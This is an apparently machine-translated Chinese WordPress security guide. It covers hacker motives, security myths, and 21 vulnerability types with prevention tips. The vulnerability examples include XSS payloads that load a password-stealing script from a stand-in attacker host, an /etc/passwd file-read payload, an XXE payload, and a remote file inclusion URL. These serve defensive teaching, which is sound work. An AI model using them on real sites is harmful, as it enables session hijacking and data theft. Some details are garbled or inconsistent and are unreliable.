WordPress 安全性:終極指南

已發表: 2021-03-24

WordPress 安全性可能令人生畏,但並非必須如此。 在這份關於 WordPress 安全的綜合指南中,我們簡化了保護 WordPress 網站的基礎知識,以便任何非技術人員都可以了解並保護他們的網站免受黑客攻擊。

本 WordPress 安全指南分為 10 個易於理解的部分。 每個部分都將指導您了解 WordPress 安全的特定方面。 在本指南結束時,您將了解不同類型的漏洞、黑客的動機以及如何保護從服務器到 WordPress 網站個人用戶的所有內容。

讓我們潛入吧!

在本指南中

    第 1 部分:WordPress 安全嗎?

    WordPress 安全嗎? 簡短的回答是肯定的。

    WordPress 為互聯網上近 40% 的網站提供支持。 WordPress 受歡迎的一個主要原因是它是一個非常安全的平台,可用於構建從博客到大型電子商務網上商店的任何內容。

    WordPress 有安全問題嗎?

    雖然 WordPress 本身是安全的,但避免 WordPress 安全錯誤需要網站所有者的一些努力。 事實是,最大的 WordPress 安全問題是它的用戶。 通過網站所有者的一些努力,可以避免平台上的大多數 WordPress 黑客攻擊。

    別擔心,我們已為您提供保障。 本指南將教您有關保持網站安全的所有信息。

    在我們保護我們的網站之前,我們必須首先了解五件事。

    1. 為什麼黑客攻擊網站
    2. 不同類型的 WordPress 黑客
    3. 特定類型的 WordPress 漏洞
    4. 如何防止WordPress漏洞
    5. 如何確定漏洞的嚴重性

    為什麼黑客會攻擊我的網站?

    這是一個常見的 WordPress 安全問題,當你最糟糕的噩夢開始成真時,你可能會問。 為什麼黑客會攻擊我的網站? 請放心,攻擊是針對個人的可能性微乎其微。 黑客的潛在動機與您網站的內容無關。 黑客通常不關心您的網站是為無家可歸的小狗提供的慈善頁面,還是有大量待售商品的網站。

    然而,當匿名身份侵入您的網站,造成混亂和混亂時,很難不感到有針對性。 您感到壓力重重,並且情況似乎超出了您的控制。 您感到受到人身攻擊,並想知道是否有辦法阻止攻擊發生。 您甚至可能想知道是否有任何挽救您網站的殘骸。

    那麼,是什麼讓黑客以網站為目標呢? 它與您的網站、它涵蓋的主題或類似內容無關。 實際上,黑客的目標是您的網站用來保持正常運行的軟件。 通過入侵該軟件,他們可以竊取敏感的客戶數據,甚至控制您的 WordPress 網站。

    不幸的是,隨著它的日益普及,WordPress 也成為了黑客的目標。 如果流行的 WordPress 插件存在嚴重漏洞,黑客可能擁有接管數十萬甚至數百萬個網站的藍圖。 幸運的是,大多數插件漏洞都由開發人員迅速修補。

    通過掌握敏感和私人信息,黑客可以將其出售以獲取收入,甚至可以索取數據贖金,從而使人們支付費用以將信息交回安全的手中。

    那麼,黑客的主要動機是什麼?

    為自己創造現金流。

    互聯網是一個利潤豐厚的地方,它為各行各業提供了賺取生活工資的機會。 然而,這並不意味著每個人都以合法、道德的方式處理此事。 即使是最小的網站,黑客也能賺取高額利潤。

    金錢是他們所需要的全部動力,但有些人喜歡成功入侵網站時獲得的權力感,但絕大多數人從事這項業務只是為了現金。

    第 2 部分:揭穿 5 大 WordPress 安全神話

    在我們進入本 WordPress 安全指南的其餘部分之前,讓我們花一點時間來揭穿一些 WordPress 安全神話。

    您會在互聯網上發現很多 WordPress 安全建議,這些建議來自真心希望提供幫助的善意人士。 不幸的是,其中一些建議是建立在 WordPress 安全神話之上的,實際上並沒有為您的 WordPress 網站增加任何額外的安全性。 事實上,一些 WordPress 安全“提示”可能會增加您遇到問題和衝突的可能性。

    我們有很多 WordPress 安全神話可供選擇,但我們只會關注我們在 30,000 多張支持票中一直看到的前 5 名。 這些與我們客戶的對話被用作以下標準的基礎,以選擇最重要的 WordPress 安全神話:

    1. 神話被提及的頻率。
    2. 神話引起的頭痛次數。
    3. 神話給人的虛假安全感。

    1. 您應該隱藏您的 /wp-admin 或 /wp-login URL(也稱為隱藏後端)

    隱藏 wp-admin 背後的想法是黑客無法破解他們找不到的東西。 如果您的登錄 URL 不是標準的 WordPress /wp-admin/ URL,您是否沒有受到強力攻擊的保護?

    事實是,大多數隱藏後端功能只是通過默默無聞來確保安全,這不是防彈的 WordPress 安全策略。 雖然隱藏您的後端 wp-admin URL 可以幫助減輕對您登錄的一些攻擊,但這種方法不會阻止所有攻擊。

    我們經常收到人們的支持票,他們對 iThemes Security Pro 如何在隱藏登錄時報告無效登錄嘗試感到困惑。 這是因為除了使用瀏覽器之外,還有其他方法可以登錄您的 WordPress 站點,例如使用 XML-RPC 或 REST API。 更不用說更改登錄 URL 後,另一個插件或主題仍然可以鏈接到新 URL。

    事實上,隱藏後端功能並沒有真正改變任何東西。 是的,它確實阻止了大多數用戶直接訪問默認登錄 URL。 但是在有人輸入自定義登錄 URL 後,他們會被重定向回默認的 WordPress 登錄 URL。

    自定義登錄 URL 也會導致衝突。 有一些插件、主題或第三方應用程序將 wp-login.php 硬編碼到他們的代碼庫中。 因此,當一個硬編碼的軟件正在尋找 yoursite.com/wp-login.php 時,它會發現一個錯誤。

    2. 你應該隱藏你的主題名稱和 WordPress 版本號

    如果您使用瀏覽器的開發人員工具,您可以很快看到在 WordPress 站點上運行的主題名稱和 WordPress 版本號。 隱藏您的主題名稱和 WP 版本背後的理論是,如果攻擊者擁有此信息,他們將擁有入侵您網站的藍圖。

    例如,查看上面的屏幕截圖,您可以看到該站點使用的是 221,並且 WordPress 版本是 5.6。

    這個 WordPress 安全神話的問題在於鍵盤後面沒有一個真正的人在尋找主題和 WordPress 版本號的完美組合來攻擊。 但是,有一些無意識的機器人會在互聯網上搜索您網站上運行的實際代碼中的已知漏洞,因此隱藏您的主題名稱和 WP 版本號不會保護您。

    3. 你應該重命名你的 wp-content 目錄

    wp-content 目錄包含您的插件、主題和媒體上傳文件夾。 這是一個目錄中的大量好東西和可執行代碼,因此人們希望主動並保護此文件夾是可以理解的。

    不幸的是,這是一個 WordPress 安全神話,即更改 wp-content 名稱將為站點添加額外的安全層。 不會。 我們可以使用瀏覽器開發人員工具輕鬆找到您更改的 wp-content 目錄的名稱。 在下面的屏幕截圖中,我們可以看到我將該站點的內容目錄重命名為 /test/。

    更改內容目錄

    更改目錄名稱不會為您的站點增加任何安全性,但可能會導致硬編碼 /wp-content/ 目錄路徑的插件發生衝突。

    4. 我的網站不夠大,無法引起黑客的注意

    這個 WordPress 安全神話讓許多網站容易受到攻擊。 即使您是一個流量低的小網站的所有者,主動保護您的網站對您來說仍然至關重要。

    即使您是一個流量低的小網站的所有者,主動保護您的網站對您來說仍然至關重要。

    事實是,您的網站或企業不一定要大才能引起潛在攻擊者的注意。 黑客仍然認為有機會使用您的網站作為渠道,將您的一些訪問者重定向到惡意網站,從您的郵件服務器發送垃圾郵件,傳播病毒,甚至挖掘比特幣。 他們會拿走他們能得到的任何東西。

    5. WordPress 是一個不安全的平台

    最具破壞性的 WordPress 安全神話是 WordPress 本身是不安全的。 這是不正確的。 WordPress 是世界上最流行的內容管理系統,它沒有認真對待安全問題。

    第 3 部分:WordPress 黑客和 WordPress 漏洞

    4 種類型的 WordPress 黑客

    在了解 WordPress 安全性時,重要的是要了解

    1. SEO垃圾郵件

    黑客攻擊您網站的另一個動機是獲得 SEO 垃圾郵件的好處。 SEO 或搜索引擎優化是搜索引擎用來索引或排名您的網站的方法。 通過在您的網頁和博客文章中策略性地使用某些關鍵字,您可以幫助您的網站在 Google 搜索中排名更高。 這將為您的網站帶來流量,並可以幫助您獲得值得花時間的利潤。

    黑客對 SEO 瞭如指掌,他們利用它來發揮自己的優勢。 當您的網站遭到入侵時,黑客會在您的網站上安裝後門。 這使他們可以遠程控制您的關鍵字和網站內容。 他們通常會重定向來自您網站的流量,將其直接匯入他們的網站,完全忽略您的網站。

    這將使您的目標受眾感到困惑和沮喪,從而破壞您網站的聲譽和可信度。 您的網站訪問者通常會被重定向到明顯是騙局的網站,並且他們會在將來重新訪問您的網站時猶豫不決。

    好像這還不夠糟糕,使用這種方法的黑客讓您的網站在搜索引擎看來很糟糕,而不僅僅是其他人。 您的網站將不再看起來合法,其排名將迅速下降。 如果沒有在搜索中獲得高排名,您的網站將成為數以百萬計的網站之一,每個月的點擊量都不會超過幾次。

    2. 惡意軟件注入

    許多黑客攻擊您的網站,打算用惡意軟件感染它。 惡意軟件是一小段代碼,可用於在您的網站上進行惡意更改。 如果您的網站感染了惡意軟件,請務必盡快收到警報。

    惡意軟件在您的網站上停留的每一分鐘,都會對您的網站造成更大的損害。 對您的網站造成的破壞越多,您清理和恢復網站所需的時間就越長。 通過定期掃描惡意軟件來檢查您網站的健康狀況至關重要。 這就是為什麼通過掃描惡意軟件來持續檢查您網站的健康狀況至關重要的原因。

    3. 勒索軟件

    黑客可能想攻擊您的網站以勒索贖金。 勒索軟件是指當黑客接管您的網站時,除非您向他們支付高額費用,否則不會將其發布給您。 勒索軟件攻擊的平均停機時間為 9.5 天。 10 天的無銷售會花費多少收入?

    黑客要求的平均贖金大幅上升,從 2015 年的 294 美元增加到 2020 年的超過 13,000 美元。有了這些類型的支付,在線犯罪業務並沒有放緩。 隨著此類犯罪社區的發展,妥善保護您的網站變得越來越重要。

    4. 網站篡改

    一些黑客可能會為了一點樂趣而攻擊您的網站。 一種本質上不那麼邪惡的黑客風格是網站篡改者的風格。 這些通常是剛開始玩弄黑客技能的孩子或年輕人。 他們做這樣的黑客活動是為了練習和提高他們的技能。

    當我們談論網站被污損時,想想塗鴉。 攻擊者會徹底改變您的網站外觀,有時會以有趣或古怪的方式。 典型的網站誹謗者的行為是為了好玩或炫耀。 他們經常會張貼他們的不端行為的照片,試圖相互配合以贏得最佳誹謗獎。

    好消息是,這種形式的黑客攻擊對您來說風險較小。 此外,由於執行篡改的主要是青少年和其他業餘黑客,因此與其他形式的惡意軟件相比,他們更容易被檢測到並從您的網站中刪除。 它們通常可以被掃描儀檢測到並迅速移除。

    21個常見的WordPress漏洞解釋

    不幸的是,WordPress 存在漏洞。 WordPress 漏洞可能存在於您的插件、主題甚至 WordPress 核心中。 由於 WordPress 現在支持近 40% 的網站,因此了解漏洞的任務更加重要。 簡而言之:您必須警惕網站的安全性。

    如果您不是 WordPress 安全專家,了解所有各種 WordPress 漏洞可能會令人生畏。 試圖了解漏洞的不同嚴重程度以及 WordPress 漏洞的風險也可能會讓人不知所措。

    本指南將定義 21 個最常見的 WordPress 漏洞,介紹如何對 WordPress 漏洞的嚴重性進行評分,舉例說明黑客如何利用該漏洞,並展示如何防止這些漏洞。 讓我們潛入。

    什麼是 WordPress 漏洞?

    WordPress 漏洞是可以被黑客利用的主題、插件或 WordPress 核心中的弱點或缺陷。 換句話說,WordPress 漏洞創建了一個入口點,黑客可以利用該入口點進行惡意活動。

    請記住,網站黑客攻擊幾乎都是自動化的。 因此,黑客幾乎可以在短時間內輕鬆闖入大量網站。 黑客使用特殊工具掃描互聯網,尋找已知漏洞。

    黑客喜歡簡單的目標,擁有一個運行具有已知漏洞的軟件的網站就像向黑客提供分步說明以闖入您的 WordPress 網站、服務器、計算機或任何其他聯網設備。

    我們每月的 WordPress 漏洞綜述報告涵蓋了所有公開披露的 WordPress 核心、WordPress 插件和主題漏洞。 在這些綜述中,我們分享了易受攻擊的插件或主題的名稱、受影響的版本和漏洞類型。

    什麼是零日漏洞?

    零日漏洞是在開發者針對漏洞發布補丁之前已經公開披露的漏洞。

    當談到 WordPress 安全時,了解零日漏洞的定義很重要。 由於該漏洞已向公眾披露,因此開發人員有零日時間來修補該漏洞。 這可能會對您的插件和主題產生重大影響。

    通常,安全研究人員會發現一個漏洞,並私下向擁有該軟件的公司開發人員披露該漏洞。 安全研究人員和開發人員同意,一旦補丁可用,將發布完整的詳細信息。 補丁發布後可能會稍微延遲披露漏洞,以便讓更多人有時間更新重大安全漏洞。

    但是,如果開發者不回復安全研究人員或未提供漏洞補丁,則研究人員可能會公開披露漏洞,迫使開發者發布補丁。

    公開披露漏洞並看似引入零日漏洞似乎會適得其反。 但是,這是研究人員必須向開發人員施壓以修補漏洞的唯一手段。

    在披露漏洞方面,Google 的 Project Zero 也有類似的指導方針。 他們在 90 天后發布漏洞的完整詳細信息。 是否已修補漏洞。

    任何人都可以找到該漏洞。 如果黑客在開發人員發布補丁之前發現了漏洞,它將成為最終用戶最糟糕的噩夢…… 一個積極利用的零日漏洞。

    什麼是積極利用的零日漏洞?

    一個積極利用的零日漏洞正是它聽起來的樣子。 這是黑客正在瞄準、攻擊和積極利用的未修補漏洞。

    2018 年底,黑客積極利用 WP GDPR 合規插件中的一個嚴重的 WordPress 漏洞。 該漏洞允許未經授權的用戶(下一節將詳細介紹)修改 WP 用戶註冊設置並將默認的新用戶角色從訂閱者更改為管理員。

    這些黑客在 WP GDPR 合規性插件和安全研究人員之前發現了這個漏洞。 因此,任何安裝了該插件的網站都是網絡犯罪分子的一個簡單且有保證的標記。

    如何保護自己免受零日漏洞

    保護您的網站免受零日漏洞影響的最佳方法是停用並刪除軟件,直到漏洞得到修補。 值得慶幸的是,WP GDPR 合規插件開發人員迅速採取行動,並在公開披露後的第二天發布了針對該漏洞的補丁。

    未修補的漏洞使您的網站很容易成為黑客的目標。

    未經身份驗證與經過身份驗證的 WordPress 漏洞

    在談論 WordPress 漏洞時,您還需要熟悉兩個術語。

    1. 未經身份驗證- 未經身份驗證的 WordPress 漏洞意味著任何人都可以利用該漏洞。
    2. Authenticated – 一個經過身份驗證的 WordPress 漏洞意味著它需要登錄用戶才能利用。

    需要經過身份驗證的用戶的漏洞對於黑客來說更難利用,尤其是在需要管理員級別權限的情況下。 而且,如果黑客已經掌握了一組管理員憑據,他們真的不需要利用漏洞來造成嚴重破壞。

    有一個警告。 一些經過身份驗證的漏洞只需要訂閱者級別的功能即可利用。 如果您的網站允許任何人註冊,那麼這與未經身份驗證的漏洞之間確實沒有太大區別。

    談到 WordPress 漏洞,有 21 種常見類型的漏洞。 讓我們涵蓋這些 WordPress 漏洞類型中的每一種。

    1. 認證繞過

    身份驗證繞過漏洞允許攻擊者跳過身份驗證要求並執行通常為經過身份驗證的用戶保留的任務。

    身份驗證是驗證用戶身份的過程。 WordPress 要求用戶輸入用戶名和密碼來驗證他們的身份。

    身份驗證繞過示例

    應用程序根據一組固定的參數驗證身份驗證。 攻擊者可以修改這些參數以訪問通常需要身份驗證的網頁。

    此類情況的一個非常基本的示例是 URL 中的身份驗證參數。

     https:/my-website/some-plugint?param=authenticated&param=no

    上面的 URL 有一個值為 no 的身份驗證參數。 因此,當我們訪問此頁面時,我們會看到一條消息,通知我們我們無權查看此頁面上的信息。

    但是,如果身份驗證檢查編碼不當,攻擊者可以修改身份驗證參數以獲得對私有頁面的訪問權限。

     https:/my-website/some-plugint?param=authenticated&param=yes

    在此示例中,黑客可以將 URL 中的身份驗證值更改為 yes 以繞過身份驗證要求以查看頁面。

    如何防止身份驗證繞過預防

    您可以使用雙因素身份驗證來幫助保護您的網站免受損壞的身份驗證漏洞。

    2. 後門漏洞

    後門漏洞允許授權和未授權用戶繞過正常的 WordPress 安全措施並獲得對計算機、服務器、網站或應用程序的高級訪問權限。

    後門示例

    開發人員創建了一個後門,以便他們可以作為管理員用戶在編碼和測試代碼之間快速切換。 不幸的是,開發人員忘記在軟件向公眾發布之前刪除後門。

    如果黑客找到後門,他們可以利用入口點來獲得對軟件的管理員訪問權限。 現在黑客擁有管理員訪問權限,他們可以執行各種惡意操作,例如注入惡意軟件或竊取敏感數據。

    如何防止後門

    許多後門可以歸結為一個問題,即安全配置錯誤。 WordPress 安全配置錯誤問題可以通過刪除代碼中任何未使用的功能、使所有庫保持最新以及使錯誤消息更通用來緩解。

    3. PHP 對象注入漏洞

    PHP 對象注入漏洞發生在用戶提交的輸入在傳遞給unserialized() PHP 函數之前未經清理(意味著不刪除非法字符unserialized()

    PHP 對象注入示例

    下面是示例廣告管理器 WordPress 插件中 PHP 對象注入漏洞的真實示例,該漏洞最初由 sumofpwn 報告。

    該問題是由於插件sam-ajax-loader.php文件中對unserialize() 的兩次不安全調用造成的。 輸入直接從 POST 請求中獲取,如下面的代碼所示。

     if ( in_array( $action, $allowed_actions ) ) { switch ( $action ) { case 'sam_ajax_load_place': echo json_encode( array( 'success' => false, 'error' => 'Deprecated...' ) ); break; case 'sam_ajax_load_ads': if ( ( isset( $_POST['ads'] ) && is_array( $_POST['ads'] ) ) && isset( $_POST['wc'] ) ) { $clauses = **unserialize( base64_decode( $_POST['wc'] ) )**;

    此問題可能會導致攻擊者輸入和執行惡意代碼。

    如何防止 PHP 對象注入

    不要對用戶提供的輸入使用unserialize()函數,而是使用 JSON 函數。

    4. 跨站腳本漏洞

    當 Web 應用程序允許用戶在 URL 路徑中添加自定義代碼時,就會出現XSS或跨站點腳本漏洞。 攻擊者可以利用該漏洞在受害者的 Web 瀏覽器中運行惡意代碼、創建到惡意網站的重定向或劫持用戶會話。

    XSS主要有3種,體現。 存儲的和基於 DOM 的

    5. 反射跨站腳本漏洞

    當惡意腳本在客戶端請求(您在瀏覽器中發出的請求)中發送到服務器並由服務器反射回來並由您的瀏覽器執行時,就會發生反射 XSS或反射跨站點腳本。

    反射式跨站腳本示例

    假設yourfavesite.com要求您登錄才能查看網站的某些內容。 假設該網站未能正確編碼用戶輸入。

    攻擊者可以通過創建惡意鏈接並在電子郵件和社交媒體帖子中與yourfavesite.com用戶共享來利用此漏洞。

    攻擊者使用 URL 縮短工具使惡意鏈接看起來沒有威脅性並且非常yourfavesite.com/cool-stuff點擊, yourfavesite.com/cool-stuff - yourfavesite.com/cool-stuff 。 但是,當您單擊縮短的鏈接時,完整的鏈接將由您的瀏覽器yourfavesite.com/cool-stuff?q=cool-stuff<\script&src=”http://bad-guys.com/passwordstealingcode.js執行。

    單擊該鏈接後,您將被帶到yourfavesite.com ,惡意腳本將反映回您的瀏覽器,從而允許攻擊者劫持您的會話 cookie 和yourfavesite.com帳戶。

    如何防止反射跨站腳本

    OWASP 跨腳本預防備忘單上的第 5 條規則是在將不受信任的數據插入 HTML URL 參數值之前進行 URL 編碼。 此規則有助於防止在將不受信任的數據添加到 HTTP GET 參數值時創建反射型 XSS 漏洞。

    <a href="http://www.yourfavesite.com?test=...ENCODE UNTRUSTED DATA BEFORE PUTTING HERE...">link</a >

    6. 存儲跨站腳本漏洞

    存儲型 XSS或存儲型跨站點腳本漏洞允許黑客將惡意代碼注入並存儲在 Web 應用程序的服務器上。

    存儲跨站腳本示例

    攻擊者發現yourfavesite.com允許訪問者在站點的評論部分嵌入 HTML 標籤。 所以攻擊者創建了一個新的評論:

    很棒的文章! 查看其他相關的優秀<script src=”http://bad-guys.com/passwordstealingcode.js>文章。 </script>

    注意:反射的XSS漏洞需要訪問者單擊惡意代碼鏈接才能執行。 存儲型 XSS攻擊只需要包含要訪問的評論的頁面。 惡意代碼在每次頁面加載時運行。

    現在我們的壞人已經添加了評論,這個頁面的每個未來訪問者都將暴露於他們的惡意腳本。 該腳本託管在壞人的網站上,能夠劫持訪問者會話 cookie 和yourfavesite.com帳戶。

    如何防止存儲跨站腳本

    OWASP 跨腳本預防備忘單上的規則 #1 是在將不受信任的數據添加到 HTML 元素之前進行 HTML 編碼。

     <body> ...ENCODE UNTRUSTED DATA BEFORE PUTTING HERE... </body>
     <div> ...ENCODE UNTRUSTED DATA BEFORE PUTTING HERE... </div>

    對以下字符進行編碼以防止切換到任何執行上下文,例如腳本、樣式或事件處理程序。 規範中建議使用十六進制實體。

     & --> &amp; < --> &lt; > --> &gt; " --> &quot; ' --> &#x27;

    7. 基於文檔對像模型的跨站腳本漏洞

    當網站的客戶端腳本將用戶提供的數據寫入文檔對像模型 (DOM) 時,就會出現基於DOM 的 XSS基於文檔對像模型的跨站點腳本漏洞。 然後網站從 DOM 中讀取用戶日期並將其輸出到訪問者的網絡瀏覽器。

    如果用戶提供的數據沒有得到正確處理,攻擊者可能會注入惡意代碼,當網站從 DOM 讀取代碼時會執行這些代碼。

    注意:反射型和存儲型 XSS 是服務器端問題,而基於 DOM 的 XSS 是客戶端(瀏覽器)問題。

    基於文檔對像模型的跨站點腳本示例

    解釋 DOM XSS 攻擊自定義歡迎頁面的常用方法。 創建帳戶後,假設您將yourfavesite.com重定向到定制的歡迎頁面,該頁面使用以下代碼按姓名歡迎您。 用戶名被編碼到 URL 中。

     <HTML> <TITLE>Welcome!</TITLE> Hi <SCRIPT> var pos=document.URL.indexOf("name=")+8; document.write(document.URL.substring(pos,document.URL.length)); </SCRIPT> <BR> Welcome to yourfavesite.com! … </HTML>

    所以,我們會有一個yourfavesite.com/account?name=yourname的 URL。

    攻擊者可以通過向新用戶發送以下 URL 來完成基於 DOM 的 XSS 攻擊:

     http://yourfavesite.com/account?name=<script>alert(document.cookie)</script>

    當新用戶點擊鏈接時,他們的瀏覽器會發送一個請求:

     /account?name=<script>alert(document.cookie)</script>

    bad-guys.com 。 該網站以包含上述 Javascript 代碼的頁面作為響應。

    新用戶的瀏覽器為頁面創建一個 DOM 對象,其中document.location對象包含字符串:

     http://www.bad-guys.com/account?name=<script>alert(document.cookie)</script>

    頁面中的原始代碼不希望默認參數包含 HTML 標記,從而將標記回顯到頁面上。 然後新用戶的瀏覽器將呈現頁面並執行攻擊者的腳本:

     alert(document.cookie)
    如何防止基於 DOM 的跨站腳本

    基於 OWASP Dom 的跨站點腳本預防備忘單上的規則 #1 是 HTML 轉義。 然後,JS 會在將不受信任的數據添加到執行上下文中的 HTML 子上下文之前進行轉義。

    危險的 HTML 方法示例:

    屬性

     element.innerHTML = "<HTML> Tags and markup"; element.outerHTML = "<HTML> Tags and markup";

    方法

     document.write("<HTML> Tags and markup"); document.writeln("<HTML> Tags and markup");

    為了在 DOM 安全中對 HTML 進行動態更新,OWASP 建議:

    1. HTML 編碼,然後
    2. JavaScript 編碼所有不受信任的輸入,如以下示例所示:
     element.innerHTML = "<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>"; element.outerHTML = "<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>";
     document.write("<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>"); document.writeln("<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>");

    8. 跨站請求偽造漏洞

    當網絡犯罪分子誘使用戶執行意外操作時,就會出現CSRF或跨站點請求偽造漏洞。 攻擊者偽造用戶對應用程序的請求。

    跨站點請求偽造示例

    在 2020 年 1 月的 WordPress 漏洞綜述中,我們報告了在代碼片段插件中發現的跨站點請求偽造漏洞。 (該插件在2.14.0版本中很快被打補丁)

    該插件缺乏 CRSF 保護,允許任何人代表管理員偽造請求並在易受攻擊的站點上註入可執行代碼。 攻擊者可以利用此漏洞執行惡意代碼,甚至執行完整的站點接管。

    如何防止跨站請求偽造

    大多數編碼框架都有內置的同步令牌防禦來防止 CSRF,應該使用它們。

    還有一些外部組件,如 CSRF Protector Project,可用於保護 PHP 和 Apache CSRF 漏洞。

    9. 服務器端請求偽造漏洞

    SSRF或 Server-Site Request Forger 漏洞允許攻擊者欺騙服務器端應用程序向他們選擇的任意域發出 HTTP 請求。

    服務器端請求偽造示例

    可以利用 SSRF 漏洞發起反射跨站點腳本攻擊。 攻擊者可以從 bad-guys.com 獲取惡意腳本並將其提供給網站的所有訪問者。

    如何防止服務器端請求偽造

    緩解 SSRF 漏洞的第一步是驗證輸入。 例如,如果您的服務器依賴於用戶提供的 URL 來獲取不同的文件,您應該驗證 URL 並且只允許您信任的目標主機。

    有關 SSRF 預防的更多信息,請查看 OWASP 備忘單。

    10. 提權漏洞

    權限提升漏洞允許攻擊者執行通常需要更高級別權限的任務。

    權限提升示例

    在我們 2020 年 11 月的 WordPress 漏洞綜述中,我們報告了在 Ultimate Member 插件中發現的提權漏洞(該漏洞已在 2.1.12 版中修補)。

    攻擊者可以為定義用戶角色的wp_capabilities用戶元提供數組參數。 在註冊過程中,提交的註冊詳細信息被傳遞給update_profile函數,並且提交的任何相應元數據,無論提交了什麼,都將為該新註冊用戶更新。

    該漏洞本質上允許新用戶在註冊時請求管理員。

    如何防止權限提升

    iThemes Security Pro 可以通過限制管理員訪問受信任設備列表來幫助保護您的網站免受破壞的訪問控制。

    11. 遠程代碼執行漏洞

    RCE或遠程執行代碼漏洞允許攻擊者訪問和更改甚至接管計算機或服務器。

    遠程代碼執行示例

    2018 年,微軟披露了在 Excel 中發現的遠程代碼執行漏洞。

    成功利用此漏洞的攻擊者可以在當前用戶的上下文中運行任意代碼。 如果當前用戶使用管理用戶權限登錄,攻擊者就可以控制受影響的系統。 然後攻擊者可以安裝程序; 查看、更改或刪除數據; 或創建具有完全用戶權限的新帳戶。 與使用管理用戶權限操作的用戶相比,帳戶配置為在系統上擁有較少用戶權限的用戶受到的影響較小。

    如何防止遠程代碼執行

    緩解 RCE 漏洞的最簡單方法是通過過濾和刪除任何不需要的字符來驗證用戶輸入。

    我們的母公司 Liquid Web 有一篇關於防止遠程代碼執行的很棒的文章。

    14. 文件包含漏洞

    當 Web 應用程序允許用戶向文件提交輸入或將文件上傳到服務器時,就會出現文件包含漏洞。

    有兩種類型的文件包含漏洞,本地和遠程。

    15. 本地文件包含漏洞

    LFI或本地文件包含漏洞允許攻擊者讀取並有時執行網站服務器上的文件。

    本地文件包含示例

    讓我們再看一下yourfavesite.com ,其中傳遞給include語句的路徑沒有正確清理。 例如,讓我們看看下面的 URL。

     yourfavesite.com/module.php?file=example.file

    攻擊者可以通過更改 URL 參數來訪問服務器上的任意文件。

     yourfavesite.com/module.php?file=etc/passwd

    更改 URL 中文件的值可能允許攻擊者查看 psswd 文件的內容。

    如何防止本地文件包含

    創建頁面可能包含的文件的允許列表,然後使用標識符訪問所選文件。 然後阻止任何包含無效標識符的請求。

    16. 遠程文件包含漏洞

    RFI或遠程文件包含漏洞允許攻擊者包含文件,通常利用目標應用程序中實現的“動態文件包含”機制。

    遠程文件包含示例

    WordPress Plugin WP with Spritz 已在 WordPress.org 存儲庫中關閉,因為它存在 RFI 漏洞。

    下面是該漏洞的源代碼:

     if(isset($_GET['url'])){ $content=file_get_contents($_GET['url']);

    可以通過更改content.filter.php?url=值的值來利用該代碼。 例如:

     yoursite.com//wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=http(s)://bad-guys.com/exec
    遠程文件包含預防

    創建頁面可能包含的文件的允許列表,然後使用標識符訪問所選文件。 然後阻止任何包含無效標識符的請求。

    17. 目錄遍歷漏洞

    目錄遍歷或文件遍歷漏洞允許攻擊者讀取運行應用程序的服務器上的任意文件。

    目錄遍歷示例

    WordPress 5.7 – 5.03 版本容易受到目錄遍歷攻擊,因為它們未能正確驗證用戶輸入數據。 攻擊者可以訪問至少具有author權限的帳戶,可以利用目錄遍歷漏洞在底層服務器上執行惡意 PHP 代碼,從而導致完全遠程接管。

    如何防止目錄遍歷

    在模板化或使用語言文件時,開發人員可以使用索引而不是文件名的實際部分。

    18. 惡意重定向漏洞

    惡意重定向漏洞允許攻擊者註入代碼將站點訪問者重定向到另一個網站。

    惡意重定向示例

    假設您正在使用在線精品店的搜索工具尋找一件藍色毛衣。

    不幸的是,精品店的服務器未能正確編碼用戶輸入,攻擊者能夠將惡意重定向腳本注入您的搜索查詢。

    因此,當您在精品店的搜索字段中輸入藍色毛衣並按回車鍵時,您最終會進入攻擊者的網頁,而不是精品店的頁面,裡面有與您的搜索描述相匹配的毛衣。

    如何防止惡意重定向

    您可以通過清理用戶輸入、驗證 URL 並獲取訪問者對所有異地重定向的確認來防止惡意重定向。

    19. XML 外部實體漏洞

    XXE或 XML 外部實體漏洞允許攻擊者欺騙 XML 解析器將敏感信息傳遞給他們控制的外部實體。

    XML 外部實體示例

    攻擊者可以利用 XXE 漏洞訪問敏感文件,例如存儲用戶帳戶信息的 etc/passwd。

     <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <foo>&xxe;</foo>
    如何防止 XML 外部實體

    防止XXE的最佳方法是使用不太複雜的數據格式,例如 JSON,並避免對敏感數據進行序列化。

    20. 拒絕服務攻擊

    DoS或拒絕服務攻擊是故意嘗試通過用網絡流量淹沒您的網站或應用程序來使用戶無法使用它。

    DDoS分佈式拒絕服務攻擊中,攻擊者使用多個來源用流量淹沒網絡。 攻擊者將劫持受惡意軟件感染的計算機、路由器和物聯網設備組,以增加流量。

    拒絕服務攻擊示例

    有史以來最大規模的 DDoS(分佈式拒絕服務)攻擊是在今年 2 月針對 AWS 發起的。 亞馬遜報告稱,他們的託管威脅防護服務 AWS Shield 觀察到並緩解了這種巨大的 DDoS 攻擊。 攻擊持續了 3 天,達到了每秒 2.3 TB 的峰值。

    如何防止拒絕服務攻擊

    有兩種主要方法可以緩解 DoS 攻擊。

    1. 購買比您需要的更多的主機。 擁有額外的資源可以幫助您應對 DoS 攻擊造成的需求增加。
    2. 使用 Cloudflare 等服務器級防火牆。 防火牆可以檢測到異常的流量高峰並防止您的網站過載。

    21. 按鍵記錄

    擊鍵記錄,也稱為鍵盤記錄或鍵盤捕獲,發生在黑客暗中監視和記錄網站訪問者的擊鍵時。

    擊鍵記錄示例

    2017 年,一名黑客成功地在智能手機製造商 OnePlus 的服務器上安裝了惡意 JavaScript。

    攻擊者使用惡意代碼監視並記錄 OnePlus 客戶在輸入信用卡詳細信息時的按鍵操作。 在 OnePlus 檢測並修補黑客之前,黑客記錄並收集了 40,000 名客戶的擊鍵記錄。

    如何防止擊鍵記錄

    更新一切! 通常,攻擊者需要利用另一個現有漏洞在計算機或服務器上註入鍵盤記錄器。 使用最新的安全補丁更新所有內容將防止黑客輕鬆地在您的網站或計算機上安裝鍵盤記錄器。

    獎勵:網絡釣魚

    軟件漏洞是黑客和網絡犯罪分子試圖利用的唯一東西。 黑客還瞄準和利用人類。 一種常見的利用方法是網絡釣魚。

    什麼是網絡釣魚?

